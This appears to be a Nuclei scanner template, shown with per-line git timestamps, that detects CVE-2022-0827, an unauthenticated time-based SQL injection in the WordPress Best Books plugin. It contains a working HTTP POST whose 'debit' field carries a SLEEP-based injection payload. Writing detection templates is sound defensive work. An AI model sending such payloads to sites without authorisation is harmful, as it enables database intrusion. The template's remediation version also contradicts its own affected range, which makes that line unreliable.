2023-03-31 11:28:24 +00:00
id : CVE-2022-0827
info :
2023-04-13 15:09:17 +00:00
name : WordPress Best Books <=2.6.3 - SQL Injection
2023-03-31 11:28:24 +00:00
author : theamanrawat
severity : critical
description : |
2023-04-13 15:09:17 +00:00
WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
2023-09-06 11:59:08 +00:00
remediation : |
Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.
2023-03-31 11:28:24 +00:00
reference :
- https://wpscan.com/vulnerability/0d208ebc-7805-457b-aa5f-ffd5adb2f3be
- https://wordpress.org/plugins/bestbooks/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0827
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/cyllective/CVEs
2023-03-31 11:28:24 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-0827
cwe-id : CWE-89
2024-05-31 19:23:20 +00:00
epss-score : 0.04043
epss-percentile : 0.92087
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:presspage:bestbooks:*:*:*:*:*:wordpress:*:*
2023-03-31 11:28:24 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : presspage
product : bestbooks
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-10-14 10:18:31 +00:00
tags : time-based,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,bestbooks,unauthenticated,presspage
2023-03-31 11:28:24 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-31 11:28:24 +00:00
- raw :
- |
@timeout 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
action=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1
matchers :
- type : dsl
dsl :
- 'duration_1>=6'
- 'status_code == 200'
- 'contains(body, "Account added successfully")'
condition : and
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100db95e6660d66b18ab8ce734b9b438e2a4d2626c8b35c7227bb18ddde1a18bcdc022100fb81b33fe69ad1b275eaf4390e07eeb8d34f9fc1035eb938f7f1be4fcb30a916:922c64590222798bb761d5b6d8e72950